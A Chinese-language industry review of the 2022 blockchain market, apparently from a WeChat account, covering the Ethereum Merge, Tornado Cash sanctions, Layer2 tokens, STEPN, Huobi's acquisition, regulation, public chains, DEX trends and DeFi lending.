无状态节点的加入既有助于保持网络的去中心化程度，还能为未来的分片架构做准备。

以太坊合并是对加密货币市场具有里程碑意义的重大事件：对以太坊来说，合并是奠性能提升的关键一步，转向权益证明机制为以太坊后续的分片扩容提供了基础条件。
不仅如此，合并后ETH的发行率将大幅下降，加上EIP-1559的销毁，未来ETH极可能进入通缩。对行业来说，合并意味着大规模显卡挖矿时代结束，矿工不得不涌向替代链或就此退出。
随着以太坊慢慢补齐性能短板，未来势必会挤压其它PoS公链生态。从更深层次的方面来说，合并是以太坊响应全球减少碳足迹号召的重要改变。
比特币的经久不衰让行业见证了PoW机制的强健性，但其要求不断运行矿机来反复计算直到找到符合要求的哈希值对能源有巨大的消耗。
以太坊过渡为权益证明后，每年的全球能源消耗也将因此减少约0.4%。


6
Dornado cash监督
2022年8月8日，美国财政部外国资产控制办公室 （OFAC）将 Tornado Cash 及其关联的加密钱包地址添加到其“特别指定国民名单”（SDN）中，禁止美国公民与该协议或与之相关的任何以太坊地址进行交互，如果与SDN名单中的地址进行交互，相关人和实体都将会面临处罚（图）。
根据 Tornado Cash 官方推特，其协议遭到以下相关机构制裁：
lTornado Cash GitHub 页面关闭
lTornado Cash 贡献者账户查禁
lTornado Cash 协议中 USDC
lRPC 请求遭 Infura、Alchemy 拒绝
Tornado Cash被禁的主要原因则是朝鲜黑客组织 Lazarus Group 利用Tornado Cash 进行大规模的洗钱，同时帮助非法活动洗钱多达70亿美金，对美国国家安全构成了威胁。此次被列入制裁名单的链上地址中总计有 4.37 亿美元的资产。
针对此次制裁，大量的服务供应商与DeFi协议禁止对Tornado cash的访问以及相关钱包的封杀。
Tornado Cash也引发了大量的讨论，包括区块链是否应该抗审查，加密货币行业是否应该迎合监管等，以太坊核心开发者也专门在开发者电话会议中详细讨论了国家级监管审查的应对策略等。
Tornado Cash事件不仅促进了人们对隐私和监管两者之间冲突的深远思考，也标志着全球监管机构正式对DeFi的狂野西部展开了行动。


7
OP发币
今年Layer2领域最大的事件就是主流的Optimistic Rollup协议Optimism发行了代币OP，推动了它本身和Layer2领域整体的逆市增长。
2022年初，Layer2增速放缓。为了吸引用户和刺激增长，Layer2协议们各显身手。
首先是在4月，头号Optimistic Rollup协议Arbitrum发布了名为 “The Arbitrum Odyssey “的生态探索活动，鼓励用户使用链上项目以获得NFT 奖励。用户热情高涨，不过由于活动太过火爆，超出了网络预设的承受能力，该活动不得不中止了。
随后，Optimism官方宣布将发行原生代币OP并公布了经济模型。
6月初，Optimism又宣布拿出占初始供应量5.4%的OP代币创建激励基金，以资助OP生态系统中的建设者和项目。
这些举措助力Optimism的TVL（以ETH计算）在半年内增长了4倍多。

Optimism是Rollup四大天团里第一个发行代币的，它的增长为其他协议做出了很好的示范。
7月13日，ZK Rollup团队StarkWare连续发布3篇文章，宣布旗下产品StarkNet将要发行原生代币，并介绍了Token的应用场景、发行数量及分配情况等，而且表示StarkNet网络已经铸造了100亿枚代币，会将一部分分配给StarkNet生态的贡献者及相关投资人。
至此，四大项目中的两大已经发行了代币或者有了明确的计划。剩下两家发币也是或早或晚的事。
zkSync在官方的用户文档中就表态过将会发行Token，Arbitrum为了稳固自己头把交椅的位置，不发币怕是都不行。
除了发行代币之外，在技术层面，Layer2也在持续迭代。Arbitrum在8月推出了 Nitro 网络升级，增加了网络吞吐量并降低交易成本。
Optimism 宣布将在今年Q4上线重大升级 Bedrock，实现以太坊等效性、缩短L1到L2的存款时间、降低交易成本。
StarkNet实现了 Rust-VM，极大降低了Rust 语言的开发者的门槛。zkSync 2.0的主网（第一阶段仅团队可用）将在11月上线。
Layer2协议们通过技术升级持续提升性能和用户体验，通过代币引入更多种的手段让网络捕获价值，并激励开发者和用户。
现在回头来看，Optimism发行代币的时间正是今年Layer2整体的TVL的拐点。
在这之后，Layer的TVL增长了63%，成为了熊市中为数不多的还能实现增长的领域。
今年的夏天称不上是“Layer2 Summer“，但Layer2已经显示出了强劲的生命力。在下一个盛夏，它们也许就会带来惊喜。


8
STEPN之后，X to EARN终局
曾经拥有100万用户以及472万注册用户并能够在一个季度赚取高达 1.225 亿美元的利润，STEPN可以说是2022年GameFi 和X to Earn 最辉煌的项目之一。
但是STEPN 还是最终陷入瓶颈，并步入死亡螺旋，为 2022年X-Earn的热潮画上句号。

鼓励用户走路来赚取代币，是STEPN的核心。自从游戏推出后，STEPN便获得了币圈的宠爱，也吸引了很多Web2的新用户，很快便有爆炸性的增长。
在 5 月达到顶峰时，STEPN拥有70万个活跃用户，占Solana 每日唯一付费用户的近 20%。STEPN在五月高峰期之后，活跃用户直线式下跌，新用户也在不断减少。

STEPN衰落背后的原因除了加密货币市场熊市的影响以及LUNA崩盘引起加密恐慌的原因之外，还有STEPN在2022年7月宣布清退中国大陆用户，导致用户们纷纷出售有关STEPN的加密货币资产。
STEPN的实用型代币GST在需求下降的情况下进入了失控的供应膨胀，导致其价格暴跌。
STEPN 为X to Earn 开启了一个新的模式，导致STEPN急速发展的爆发点以及因为没有持续的用户增长而衰的问题也为未来其他X to Earn 的项目提供了参考价值。


9
Huobi收购
作为曾经华语市场份额最大的交易所，Huobi在2022年10月初被香港百域资本旗下的并购基金正式收购，这可能是加密货币行业今年以来最大的并购案。
Huobi集团成立于2013年，创始人为李林。伴随加密货币市场增长，Huobi交易所的市场份额逐步增大，在2017年后成为中文世界市场份额最大的交易所，整体生态布局处于行业领先地位，火币大学、火币投资等具有不错口碑。
直到2021年，Huobi、币安和OK被视为中文加密货币交易所的三大巨头。
但在2021年中国大陆出台了在全球各个国家中最严格的加密货币监管政策，包括禁止中国大陆用户进行加密货币交易、禁止中国大陆境内的虚拟货币挖矿、禁止在中国大陆注册的企业从事虚拟货币相关业务。
监管政策出台后，以Huobi为代表的加密货币相关业务的公司纷纷宣布退出大陆市场，业务全面转向海外。
在退出前，Huobi的日均交易量超过600亿美元，峰值一度超过900亿美元，而在退出后又遭遇市场进入熊市，日均交易量萎缩到了50亿美元的水平，交易量跌幅超过90%。
但Huobi作为老牌交易所，仍然具有深厚的底蕴和有价值的资产。
除本身的品牌影响外，Huobi持有美国、香港、韩国、日本等地的合规牌照，且在香港有上市公司火币科技，这些对于收购方仍有相当大的吸引力。
因此在经过多次谈判后，在10月初香港百域资本宣布收购李林持有的Huobi Global的全部股份。
香港百域资本（About Capital Management）是由陈亦骅于2008年创立的香港资产管理公司，他也是景林资产合伙人。
百域资本在收购Huobi后，宣布成立全球顾问委员会，目的在于指导火币全球站的战略布局与发展，其名单有百域资本创始人陈亦骅，火币联合创始人杜均，波场创始人孙宇晨，香港科技大学副校长汪扬和Valkyrie投资联合创始人Leah Wald。
在收购完成后的第一次全体大会上，孙宇晨作为顾问委员会代表宣布了几项重要举措，包括给HT赋能、加强出海战略等。
在之后的一个星期，HT价格涨幅超过了80%，显示市场对这次收购和Huobi战略调整的认可。相信在完成这次收购和战略调整后，Huobi将在未来重现辉煌。


10
欧启动顶层布置，全面监督
全球加密货币市场在经历上一轮大爆发之后，以美欧为代表的各国政府监管政策加快步伐。
2022年3月9日美国总统拜登签署了《关于确保数字资产负责任创新的行政命令》，这是美国有史以来第一个整体政府措施来应对风险和利用数字资产及其基础技术所带来的潜在利益。
该命令制定了涵盖六个关键优先事项的数字资产国家政策：消费者和投资者保护、金融稳定、非法融资、美国在全球金融体系和经济竞争力方面的领导地位、金融包容性和负责任的创新。
9月16日白宫即发布了首个加密货币行业监管框架草案，该框架遵循数字资产行政命令，动用了美国证券交易委员会和商品期货交易委员会等现有监管机构的力量，还规定通过G7、G20、反洗钱金融行动特别工作组 (FATF) 和金融稳定委员会 (FSB) 扩大美国与其合作伙伴之间的合作。
2022年6月30日 欧盟理事会主席和欧洲议会就加密资产市场 (MiCA)提案达成临时协议，10月5日欧盟理事会批准最终的加密资产市场监管立法（The Markets in Crypto Assets regulation bill，MiCA）文本，10月10日欧洲议会委员会以28票赞成、1票反对的结果通过了MiCA法案，接下来将在欧洲议会全体会议上对MiCA进行的最终投票批准，一旦通过将在12–18个月后生效。
10月10日欧洲议会成员还对《资金转移条例》（Transfer of Funds Regulation，TFR）进行了投票，这是一项反洗钱法案，要求使用加密货币进行的转账必须包含支付人和收款人的身份信息。
这两项法案一旦生效将在欧盟建立统一的加密监管框架，将成为全球主要司法管辖区最全面的加密资产监管法规，也将为从事加密资产的服务提供商以及投资者提供强有力的保障。
美欧推出的加密监管框架将对全球加密市场产生巨大影响，美国和欧盟将率先建立起统一的加密监管体系，不仅可以提升自己管辖区内的监管效率和执法力度，也可以为其他国家监管提供参照样板。




往 期 回 顾


走进区块链的第一步：mev浅析

2022-06-09

走进区块链的第一步：钱包服务

2022-09-07

Unstable Stablecoins（上）

2022-07-21

Unstable Stablecoins（下）

2022-07-22

                                                                                                       


                      喜欢的话，点个赞吧～

阅读原文

跳转微信打开

]]> Fri, 03 Feb 2023 16:15:00 +0800 区块链行业发展与趋势（上） https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&mid=2247499681&idx=1&sn=0b1461f02c3aeaf11f7a6ce183051706 本文旨在对2022年全球区块链行业的市场变化情况、融资状况、未来发展方向等做出大致的展现与比对。 原创 零鉴科技 2023-02-02 14:59 湖南

本文旨在对2022年全球区块链行业的市场变化情况、融资状况、未来发展方向等做出大致的展现与比对。

⬆️全文思维导图

文章旨在对2022年全球区块链行业的市场变化情况、融资状况、未来发展方向等做出大致的展现与比对。

由于篇幅较长，分上下两篇发布。本文为上篇，涵盖第一章至第四章内容。

前方多图预警，建议收藏起来慢慢看。



第一章    2022年区块链行业回顾

2022 年是加密货币市场剧烈震动的一年，由几种加密货币价格下跌、网络和交易所故障导致了 2 万亿美元的总市值损失。
迄今为止，对市场的最大冲击包括 Terra 崩溃、Celsius Network 和 Voyager Digital 申请破产、Three Arrows Capital 倒闭以及FTX的暴雷。
这些冲击并非孤立出现，而是波及整个市场，导致比特币和以太坊以及加密市场整体下跌。
最大的问题在于用户的加密货币被锁定在交易所账户中，或者他们的资金管理权交给了其他人。
加密货币总市值呈现明显下降。

2022年截止12月1日加密货币市值（数据来源https://cn.tradingview.com/symbols/TOTAL/） 


全公链锁仓量呈现下降，ETH仍然为主要市场，自2021年被BSC以及TRON等链路占据TVL市场后从2021年年底后稳固在60%占比左右。

2022年全链锁仓量占比（数据来源https://defillama.com/chains）


2022年稳定币锁仓量总量及市值变化（数据来源https://defillama.com/stablecoins）

可以见得，2022年市场行情趋于弱势，以下关于全球区块链市场的各类赛道做详细比对。

第二章    公链


1
公链现状

一、市场占比及总市值

2022年公链市场较2021年市值下降，从2021年的11月总市值2.3万亿美元下降至2022年12月的7000亿元美元。 

2022年公链总量及市值变化（数据来源https://tokenterminal.com/terminal/markets/blockchain）

市场占比无太大变化，仍然是以比特币、以太坊生态为主要占比的情况。但值得注意的是BSC的占比一直在小幅增加。 
2022年公链占比情况（数据来源https://tokenterminal.com/terminal/markets/blockchain）

二、交易费率

交易费用在一定程度上证明了该链路的茁壮性，但鉴于以太坊、bitcion底层臃肿的原因其费率本身过高不存在统一纬度的对比性。但在总体费率花销上可以看到目前主流公链中的TOP链路。

2022年各链的费用情况（数据来源https://tokenterminal.com/terminal/metrics/fees）

由上图可以见得，目前的最主流公链仍然为以太坊，其在过去的365天内共计燃烧了5478187865美元的费用遥遥领先，BSC以binance为媒介收货了大量的交易，共计花费535746930美元，在之后的受欢迎链路分别为老牌链路bitcoin、Avalanche，Helium、Solana、Filecoin、Polygon、Fantom、Arbitrum、Optimism等。


2
链路发展

一、 ETH

今年 Kyros Ventures 机构对加密生态展开了广泛的研究，统计数据显示，以太坊一家独大，而围绕以太坊产生的兼容 EVM 系公链亦数量众多，EVM 系公链形成了一个的加密生态岛群。
以太坊（Ethereum）作为一个开源的、有智能合约功能的公共区块链平台，具备了充满活力的工具和应用程序生态系统，包括成熟的智能合约架构、大型开发者社区以及应用程序的持续创新。
其通过 Solidity 语言为技术人才维持飞轮效应，成为孕育大部分 Web3 创新项目的主阵地。
今年 9 月 15 日，以太坊网络通过 The Merge 的推出经历了历史性的更新。在实践中，这次更新标志着以太坊从工作量证明到权益证明的最终过渡。
11 月 5 日，以太坊的联合创始人 Vitalik Buterin 揭示了以太坊将进行“合并、激增、天灾、边缘、清除、挥霍”这六个阶段的更新，致力于解决“区块链不可能三角问题”，在提高网络速度、效率和可扩展性的同时，继续坚持安全性和去中心化。
据 Footprint Analytics 最新数据显示，以太坊 TVL 占据公链的 64%，公链协议数量高达 1744，每日交易达 100 万次左右，各项数据以断层式领先其他公链。
此外，Messari 公布的最新研报显示，以太坊网络拥有加密领域中最多的生态活跃开发者。综合以上数据，可见以太坊在 Web3 公链中一骑绝尘之地位。
而以太坊在最初建构之时为了安全性和去中心化，“舍弃”了可扩展性，致使在发展过程中面临网络拥塞、Gas 费用过高等问题。为解决这一难题，除了以太坊自身更新升级，一些链下解决方案崭露头角。


二、Layer2

Layer1 负责解决安全问题，Layer2 负责性能问题。这似乎是目前以太坊生态系统的最佳解决方案。
因此，许多新公链选择与 EVM 兼容的形式进行接口，这样就能够快速调用开发模块，实现开发者高度友好。
这类 Layer2 公链既利用了以太坊现有的生态优势和安全性，又解决以太坊现存的扩展性问题。
目前 Layer2 技术方案包括 State Channel、Rollups 和 Plasma 三类。
而 Vitalik 曾在 2020 年 10 月发布了“以 Rollup 为中心的以太坊路线图”（A rollup-centric ethereum roadmap），表明 Rollups 系列方案脱颖而出，获得以太坊社区的青睐。
Rollups 方案有两种类型：Zero-knowledge Rollups 和 Optimistic Rollups，现将其代表性公链项目介绍如下。
Arbitrum：先发为胜
Arbitrum 是 Offchain Labs 推出的 Optimistic Rollups 二层扩容方案。该项目采取交互式欺诈证明，只执行在 L1 上有争议的特定步骤，直到确定争议的具体步骤。
此外，Arbitrum 百分百兼容 EVM 以太坊虚拟机，实现用户和开发者高度友好的环境。
目前，Arbitrum 具有先发优势，主网 Nova 已上线，生态中部署超过 400 个项目。其在所有二层网络中锁定资金价值排行领先，TVL 一度高达 12 亿美元。
Zksync：技术为基
Zksync 是由 Matter Labs 开发的 Zero-knowledge Rollups 二层扩容方案。
该项目得益于密码学和链上数据可用性的结合，是唯一不需要任何操作活动来保证资金安全的 Layer2 扩展解决方案。
而其以太坊的兼容程度不及 Arbitrum，这导致以太坊生态中的项目迁移到 zkSync 存在阻力，项目部署难度比较大。
目前 ZkSync 还处在发展的初期，2.0 主网即将上线。生态中大量项目未上线，如生态项目数量、日交易量、TVL 等维度数据整体表现不佳。
而一旦制约 ZK Rollup 的技术难度克服，ZK 系将爆发出不亚于 OP 系的潜力。


三、 新公链

以太坊凭借庞大的生态系统在公链竞争格局中把持“王权”，而“强者愈强、弱者愈弱”的马太效应一度令新兴公链的发展望而却步。
随着以太坊的发展，其底层架构所展现出来的缺点愈加明显。
与其囿于 EVM 试图改进，不如彻底推陈出新。走出智能合约链的桎梏，革新型新公链逐渐兴起。
DFINITY：Web3 范式全新探索
DFINITY 与 EVM 系公链走不同路线，主打中心化堆栈特性。其旨在构建一个分布式、去中心化、可扩展、具有无限规模、由社区治理的互联网计算机。
DFINITY 允许开发者直接在生态上构建各类应用，此外还能兼容互联网现存的各类开放协议，搭建在传统互联网或者以太坊的应用也可以无缝迁移到 DFINITY 网络中。
DFINITY 主网于2021年 5 月正式上线，生态中的的应用程序覆盖了多个领域和赛道，主要包括社交、基础设施、DApp、DeFi 和 NFT 等。
此外，其开发者 Grant 计划目前已经资助 180+ 项目，项目涵盖 Web3 DApps、DeFi 平台、游戏、NFT、社交媒体以及开发人员工具和基础设施等诸多方面。
Polkadot：Layer0 多链网络
Polkadot 是一条异构的多链系统，旨在重塑区块链网络结构，实现不同区块链之间的通信。与以太坊不同，Polkadot 使用更高效的 NPoS（提名权益证明）。
此外，其利用平行链和平行线程插入其主链中继链，平行链与中继链相连并受益于 Polkadot 的安全性、可伸缩性、互操作性和治理，从而促进各种功能的不同区块链并存共荣。
2021 年下半年，Polkadot（DOT）曾在 56 天内实现了惊人的 256% 增长率，市值一度超过以太坊。今年，波卡上线 XCM 与生态项目共同实现跨链互操愿景。
W3F 资助计划累计签署近 500 个项目，资助类型几乎涵盖了波卡技术栈的每一层，众多开发者项目为波卡网络蓬勃发展持续贡献力量。
Flow：专注 NFT 应用生态
Flow 是一个快速、去中心化的区块链平台，旨在推动应用程序的开发，尤其适合 NFT 生态发展。其多节点架构的设计使之可以实现强大的安全性和可组合性，有效支持应用程序的创建。
以更低的成本扩展数千倍的吞吐量，是一种比现存方案更具可扩展性、更分散和更安全的解决方案，且同时不会增加复杂的开发工作和对链下解决方案的依赖。
2020 年，Flow 公链正式上线，NBA Top Shot 成为了第一个应用，上线 6 个月就产生了超过 7 亿美元的交易额。
今年冬奥会，Flow 区块链上的生态团队联合国际奥委会发布了官方授权 Play To Earn 链游《Olympic Games Jam:Beijing 2022》，上线冰墩墩吸引了一大批用户。
目前，Flow 公链以优质的 NFT 项目持续吸引主流用户，也进一步探索更丰富的加密项目。
Sui：「Meta」系元宇宙玩家
Sui 由 Mysten Labs 所开发的主打高性能 Layer1 公链。该项目采用 PoS 共识机制，主要为包括游戏、社交、商业在内的元宇宙应用。
Sui 使用了开发语言 Move，但对其进行了升级调整，使得该语言既能编写涉同质化加密资产的智能合约，也能编写涉非同质化 NFT 资产的智能合约。
元宇宙相关应用将高度依赖于 Sui 所提供的高吞吐量和低延迟性能，以此提供最佳的用户体验。
而在 Sui 上构建的游戏和社交应用，则可以利用数据存储经济学将所有数据直接存储在链上。
目前，Sui 的生态处于发展初期，除了钱包，目前在建设的还有浏览器、游戏以及社交元宇宙项目。


第三章    Defi


1
DEX

一、从头部交易所的运营情况，观察 DEX 的现状

17-18 年最早期的 DEX 模仿传统订单薄模型，如 EtherDelta 和 DDEX，但由于链上交易成本问题，难以有良好的深度和交易体验。
即使到目前高性能基础设施出现以后，基于订单薄模型的 DEX 整体体验还是难以和 CEX 竞争。
2018 年末 Uniswap 实现了自动做市商机制并发布了 Uniswap V1。自动做市商 AMM 机制更像是放在区块链上的自动售货机，被动的流动性提供策略适配了区块链的环境。
AMM 机制结合流动性挖矿带来 2020 年夏季 DeFi Summer 的链上金融大爆发。
根据 The Block 的数据，DEX 整体交易量一度占全网交易量的 25%，目前维持在 15% 左右的范围。 
DEX交易量占比（数据来源https://www.theblock.co/data/decentralized-finance/dex-non-custodial）

在 2021 年 3 月 Uniswap V3 推出集中流动性 AMM 机制以后（流动性提供者可以选择一个价格区间提供流动性，而不是默认部署全区间流动性），资本效率相比之前有了数十倍的提升。
根据 Uniswap 五月份的研究报告，作为最大的 DEX，Uniswap 在主流币交易深度上面一度超过头部 CEX 如 Binance，在 2021.6 - 2022.3 这个时间范围内，Uniswap 上 ETH/USD 交易对 +/-2% 的深度达到 Binance 的 2 倍，具有良好的流动性。
过去七天 Uniswap V3 总交易量 41.4 亿美元，而前十五大池占 36.8 亿美元，高达 89%。
手续费收入方面，过去七天总手续费收入为 428万美元，前十五大池占 301 万美元占比 70%，原因在于头部池子竞争交易量，部分流动性提供者选择在收取手续费比例更低的池子中提供流动性，如 WETH/USDC 大量流动性都在 0.05% 费率等级的池子中，本质上是「卷」到了费率竞争上。
而尾部的池子大部分采用 0.3% 手续费甚至 1% 的手续费，因此交易量小但是收入占比相比交易量占比更加大。

Uniswap V3手续费占比情况（数据来源https://dune.com/gammastrategies/Uniswap-v3-Volume-and-Fees-Collected）

由于 Uniswap 上交易通过路由会选取最低费率和最优执行价格，因此大部分交易集中在 0.05% 费率等级，该费率等级主流代币具有较好的流动性。其中大部分来源于 WETH/USDC 0.05% 交易池。
在可选的四个费率等级中，0.01% 费率等级相对特殊，是 Dai 官方的资金池，并且铺设到 Arrakis Finance 中提供流动性激励。其他三个费率等级的情况如下：
0.05% 费率等级，基本由 WETH/USDC 占主导，交易量占比 77.1%。该费率等级主要有稳定币交易对、主流币（WBTC、WETH）和稳定币交易对，以及各类锚定 ETH/WBTC 的资产交易对，如 WETH/cbETH 交易对。

0.3% 费率池相对分布平均，主要由各类主流代币、以及 Matic、APE等头部山寨币交易对构成。 

1% 费率池则由更长尾的资产组成，交易量比较分散。 

整体来看，主流资产的 LP 在手续费方面竞争，内卷到 0.05% 费率等级的池子中争夺交易量，试图以量换「fee」。
长尾资产由于波动率大、风险更高，相对 LP 的成本也在提升，因此更多选择 1% 费率的池子，而不会在更低费率等级上竞争。


二、DEX发展趋势

多公链生态 CL-AMM DEX 的出现，以及由此而来的做市专业化

近期我们看到多家其他公链生态，在 Uniswap V3 之外出现了接近的产品，比如 iZUMi Finance 提供技术支持实现的 Near 生态的 Ref Finance V2 以及 Aurora 生态的 Arctic，借鉴 iZUMi DL-AMM 设计的 Traderjoe V2，Quickswap V3，Sui 生态的 MoveX，Cosmos 生态的 Duality 等，不论是旧 DEX 对原本流动性部署方式的技术升级，还是新 DEX，都采用了集中流动性模式，流动性提供者能够在自定义的价格区间内提供流动性。
此外还有 Algebra 为代表的技术提供商，帮助 DEX 实现升级（Quickswap V3 由 Algebra 提供底层技术实现）。
虽然 DEX 的开放性和无序许可性，让传统只有专业做市商才能参与的流动性提供业务能够让普通大众参与，实现「人人都是做市商」，流动性挖矿也是全新的权益分发方式。
Uniswap V2 的全区间流动性操作简单，也更容易叠加流动性挖矿等 DeFi 模块。
但实际上，大部分流动性提供者整体是亏钱的。Uniswap V3 的集中流动性出现，让流动性提供这件事情变得更加复杂，也更加专业化。
在多个生态近期大量出现集中流动性设计的 DEX，考虑到链上特殊的环境（包括交易确认时延、MEV、手续费机制、滑点等等），以及 AMM 模式和传统 Order Book 完全不同的数学计算和特性，我们可以预期未来会有更多专注于在集中流动性 DEX 提供专业流动性服务的做市团队。
目前来看，主要的专业做市集中在大类币种，长尾币种考虑到调整仓位的复杂性，以及难以实现对流动性提供者的激励，一般还是采用 V2 全区间流动性结合流动性挖矿的方式。
未来考虑到集中流动性的高效率，结合链上原生交易的需求（如 GameFi 等，天然需要链上交易场景），围绕长尾币种的集中流动性服务方案会逐渐成熟。
iZUMi Finance 从一开始就定位为流动性服务平台，推出针对集中流动性的激励工具 LiquidBox，多种策略结合不同的流动性区间铺设，让项目方做到更少的干预、更低的成本，来获得更好的链上流动性。

2C 趋势明显，追逐流量，用户体验升级

头部 DEX 集中在流量端做提升，包括在移动端和网页端提升用户体验并实现流量曝光。
其中，Uniswap 在收购 NFT 赛道的 NFT 聚合市场 Genie 之后又集成 Sudoswap，实现 web 端 APP 升级。
DoDo 则在推大规模落地应用，同时在 Web3 和传统流量入口进行推广，实现 Gasless 交易以及限价单功能来捕获更多的用户。
此外，Sushiswap 实现 Gasless 的限价交易，Solana 生态的 DEX、Chainge 等多链钱包主推 Mobile 端。
在交易用户体验上，在专业度上向 CEX 靠近。Uniswap、Pancakeswap 等近期也推出了价格图表，从而让用户能够摆脱额外使用 K 线工具的困扰。
iZUMi Finance 近期将推出 iZiSwap Pro，配合 DL-AMM 兼容 AMM 和限价订单的特性，实现前端接近 CEX，打造去中心化的 Binance。
Maker 端，大部分全区间流动性的 DEX 都提供了 Zap 功能，一键兑换流动性。此外，近期 Uniswap 在 SF 的 hackathon，iZUMi 团队指导下的参赛团队实现 Uniswap V3 的一键生成 LP 方案获得了第三名。
iZiSwap 通过 V3 流动性激励工具 Liquid Box 和配套做市策略为项目方提供一站式流动性服务。

混合 AMM + RFQ + LOB

AMM 在适配链上复杂环境的同时，也带来诸多问题，如交易结果不确定、滑点、容易收到 MEV 等各类形式的攻击等等，为了减少 MEV 等影响，从网络层面到协议层面都有诸多的方案和尝试，但难以彻底。
限价订单能够避免 AMM 这些问题，1inch、DoDo、Sushiswap 等聚合器 /DEX 推出限价订单功能，以及 Pancakeswap 通过 Gelato 实现限价订单功能，iZUMi Finance 的 iZiSwap 设计 DL-AMM 兼容 AMM 和限价订单。
但传统的限价订单存在抢跑交易的问题，目前大部分聚合器采用中心化的限价订单方案，仍旧存在此类问题。
其中 iZUMi 的 DL-AMM 直接实现链上订单簿，并且相比于一般 AMM 在 Gas 开销上并没有明显的提升，是目前最佳的解决方案。
此外， Binance 最新上线的 Hashflow、0x 的 Matcha，以及一级市场出现不少项目，都采用 RFQ 机制，用户提出交易需求，平台通过预言机或是做市商在链下为用户提供报价，随后链上实现原子交换，不存在滑点等问题，带来交易的确定性。
但此类机制无法实现价格发现，价格发现机制完全依赖预言机等价格输入，本质上 GMX 也属于此类型。

基于 DEX 的金融产品，交易平台流动性打包出售

Uniswap V3 为代表的集中流动性是非常灵活的一类资产，可以用于模拟其他衍生品的效果。
比如在目前价格下区间铺设流动性，再持有等价值的现货，可以实现对看涨期权的模拟。
并且，传统 CEX 提供的双币理财产品，低买、高卖策略，本质也是采用一定做市策略为用户提供收益。
DEX 的 LP Token 完全能够实现一样的产品，并且提供同等水平的收益率。
这类产品本质上是将用户的资金按照一定的策略部署集中流动性 DEX 上的 LP，获取手续费收入，最后按照约定的规则结算，在满足用户特定需求的同时，实现 DEX 流动性的增长，是双赢的策略。
iZUMi Finance 在此方面正在进行尝试，将会在不久以后推出相关理财产品。


2
Lending

一、 市场规模

DeFi 借贷市场的存款量、借款量和锁仓量自 2020 年 6 月开始快速增长，在 2021 年底达到高点。后随着加密市场整体下滑，借贷规模逐渐减少。
此外，借贷市场规模还受到 Anchor、Celsius、BlockFi 等平台事件的影响。
多种因素叠加，DeFi 借贷协议的存款量和取款量分别降至 355 亿美元和 138 亿美元，均较两者最高点下降 60% 左右。
总体来看，DeFi 借贷市场在 DeFi 行业中占有 30% 以上的市场份额，与 DEX 不相上下。
1. 存款量
欧科云链数据显示，DeFi 借贷市场的存款量在 2020-2021 年总体呈现持续上涨的态势，存款规模在 2021 年 12 月一度突破 900 亿美元。
此后随着加密市场走熊，存款量在今年下半年跌破 500 亿美元，2022年10 月 27 日数据显示，当前存款量为 355 亿美元，相比最高点减少超六成。
2.借款量
借款量呈现相似的走势。借款量的最高点出现在 2021 年的 10 月 27 日，借款量为 352 亿美元，相较半年前增长 208 亿美元，增幅为 144%。
随着加密市场整体降温，借款量降至 150 亿美元以下。10 月 27 日数据显示，当前借款量为 138 亿美元，降至去年 4 月的水平。
 
3. 锁仓量
锁仓量方面，借贷和 DEX 是 DeFi 锁仓量排名前两位的板块。
欧科云链数据显示，截至 10 月 27 日，DeFi 借贷锁仓量为 224.7 亿美元，DEX 锁仓量为 237.4 亿美元，借贷以 31.75% 的市场份额略低于 DEX，排名第二。
借贷项目中，锁仓量排名前五位的分别是 Maker（77.5 亿美元）、Aave（49 亿美元）、JustLend（32.4 亿美元）、Compound（22.7 亿美元）、Venus（7.1 亿美元），前五名的协议锁仓量之和为 188.7 亿美元，占总锁仓量的 84%。
公链竞争上看，以太坊链上借贷三巨头 Maker、Aave、Compound 的市场地位十分稳固。
跻身锁仓量前十位的借贷协议中，除以太坊外，还有来自 BNB Chain、TRON、Avalanche、Solana 等链的原生借贷协议，呈现多点开花的态势。
4. 头部项目处于低估值阶段
依据 Mcap/TVL（市值/锁仓量）的指标，目前头部 DeFi 借贷项目处于低估值阶段。
以 Maker、Aave、Compound 为例，Maker 该项指标的比率为 0.117，Aave 的比率为 0.23，Compound 的比率为 0.17，三者比率远低于 1，均处于低估值阶段。
另外从 CoinMarketCap 给出的市值来看，Maker 市值为 9 亿美元，Aave 市值为 11.8 亿美元，Compound 市值为 3.6 亿美元。在高锁仓量的情况下，只有 Aave 市值达到独角兽标准。
5. 协议收入
TokenTerminal 数据显示，借贷协议中 7 天收入最高的是 Aave，收入为 139 万美元，第 2-6 位的协议收入在 20 万-50 万美元之间。
P/F（市值/收入）方面，排名前两位的 Aave、Compound 的比率在 10 以上，说明收入相对偏低。


二、 DeFi借贷需求来源

DeFi 借贷协议的参与者是借方和贷方，借方通过抵押或者无抵押的方式从借贷协议中借出加密资产；贷方将闲置资金存入借贷协议，收取利息作为回报。
部分 DeFi 借贷协议中设有流动性挖矿的功能，借方和贷方都能获得代币奖励。
由此得出三个 DeFi 借贷需求来源：
  • 交易需求
  • 贷协议产生的被动收入
  • 代币激励
1. 交易需求
DeFi 行业的贷款和传统金融中贷款的出发点是一样的，就是我需要支付一笔费用，但是我手上并没有足额的资金。
在传统金融当中，人们会通过抵押贷款的方式，从银行中借出资产完成交易。DeFi 行业中，借方通过抵押/无抵押方式借出加密资产，完成其交易行为。
2. 借贷协议产生的被动收入
被动收入是指不需要花费多少时间和精力就可以自动获得的收入，在 DeFi 借贷中最典型的是贷方存入资金获得的利息。
贷方将闲置资金放入借贷协议中，就可以根据存入加密资产对应的利率获得利息，也就是被动收入。
以 Aave 为例，USDT 当前的存款 APY 为 2.76%，如果贷方将 USDT 存入，当前可以按照 2.76% 的 APY 获得利息。
该 APY 是浮动的，贷方的利息增幅会随着 APY 发生变化，类似于支付宝的余额宝。
借方可以在一段时间后将本金和利息取出后再投入，实现复利。
3. 代币激励
2020 年 6 月，DeFi 借贷协议 Compound 推出流动性挖矿，将大量用户和资金引入 DeFi。
Compound 采用代币激励的手段，用户在 Compound 上完成借贷操作即可获得其治理代币 COMP，治理代币持有者可以参与投票，兼具交易价值和治理价值。
除了流动性挖矿，头部 DeFi 协议推出基于其原生代币的质押服务，代币持有者可质押获得更多原生代币。
代币激励是面对借贷协议所有参与者的，借方可以通过交互获得代币奖励，通过交易获得的代币，偿还一部分债务。


三、DeFi 借贷协议的核心——流动性资金池

目前主流 DeFi 借贷协议采用流动性资金池模型，解决协议的流动性问题，快速撮合借贷双方的需求，借贷行为围绕流动性资金池进行。
如图所示，贷方向流动性资金池添加资产，提升池子的流动性，借方从池子中提取流动性。协议通过流动性资金池中资金量状况调整借款和存款的利率。
